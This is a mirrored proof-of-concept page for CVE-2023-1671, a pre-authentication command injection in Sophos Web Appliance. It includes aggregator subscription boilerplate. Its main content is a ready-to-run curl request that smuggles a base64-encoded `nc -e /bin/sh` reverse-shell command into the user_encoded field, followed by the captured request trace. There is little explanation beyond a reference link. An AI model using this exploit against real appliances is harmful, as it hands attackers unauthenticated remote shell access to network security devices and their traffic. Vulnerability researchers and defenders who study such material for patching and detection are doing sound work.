CVE-2023-1671 PoC — Sophos Web Appliance 命令注入漏洞

Source

https://github.com/ohnonoyesyes/CVE-2023-1671

Associated Vulnerability

Title:Sophos Web Appliance 命令注入漏洞 (CVE-2023-1671)
Description:A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.

Description

Pre-Auth RCE in Sophos Web Appliance

Readme

# CVE-2023-1671
Pre-Auth RCE in Sophos Web Appliance

## Poc

```
curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';nc -e /bin/sh 192.168.56.1 4444 #" | base64)"


#snip
=> Send header, 184 bytes (0xb8)
0000: POST /index.php?c=blocked&action=continue HTTP/1.1
0034: Host: 192.168.56.108
004a: User-Agent: curl/7.88.1
0063: Accept: */*
0070: Content-Length: 120
0085: Content-Type: application/x-www-form-urlencoded
00b6:
=> Send data, 120 bytes (0x78)
0000: args_reason=filetypewarn&url=16625&filetype=5831&user=4525&user_
0040: encoded=JztuYyAtZSAvYmluL3NoIDE5Mi4xNjguNTYuMSA0NDQ0ICM=
```

## Reference

- https://vulncheck.com/blog/cve-2023-1671-analysis

File Snapshot


 [4.0K]  /data/pocs/8f6571ca6d294215354e571e4fe08dcd8f11ad0d
└── [ 789]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!